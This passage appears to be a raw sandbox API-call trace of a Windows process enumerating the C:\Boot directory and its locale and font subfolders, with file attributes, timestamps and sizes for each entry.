ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="el-GR", cAlternateFileName="")) returned 1 [0272.419] GetLastError () returned 0x12 [0272.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.419] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.419] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.419] GetLastError () returned 0x12 [0272.419] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.419] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.419] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.419] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="en-US", cAlternateFileName="")) returned 1 [0272.420] GetLastError () returned 0x12 [0272.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.420] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.420] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.432] GetLastError () returned 0x12 [0272.432] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0272.432] GetLastError () returned 0x12 [0272.432] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0272.432] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.432] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.432] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="es-ES", cAlternateFileName="")) returned 1 [0272.432] GetLastError () returned 0x12 [0272.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.432] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.432] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.432] GetLastError () returned 0x12 [0272.432] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.432] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.432] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.433] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0272.433] GetLastError () returned 0x12 [0272.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.433] GetLastError () returned 0x12 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.433] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.433] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.433] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Fonts", cAlternateFileName="")) returned 1 [0272.433] GetLastError () returned 0x12 [0272.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0272.433] GetLastError () returned 0x12 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0272.433] GetLastError () returned 0x12 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0272.433] GetLastError () returned 0x12 [0272.433] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0272.434] GetLastError () returned 0x12 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0272.434] GetLastError () returned 0x12 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0272.434] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.434] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.434] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0272.434] GetLastError () returned 0x12 [0272.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.434] GetLastError () returned 0x12 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.434] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.434] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.434] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0272.434] GetLastError () returned 0x12 [0272.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.434] GetLastError () returned 0x12 [0272.434] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.435] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.435] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.435] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="it-IT", cAlternateFileName="")) returned 1 [0272.435] GetLastError () returned 0x12 [0272.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.435] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.435] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.435] GetLastError () returned 0x12 [0272.435] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, 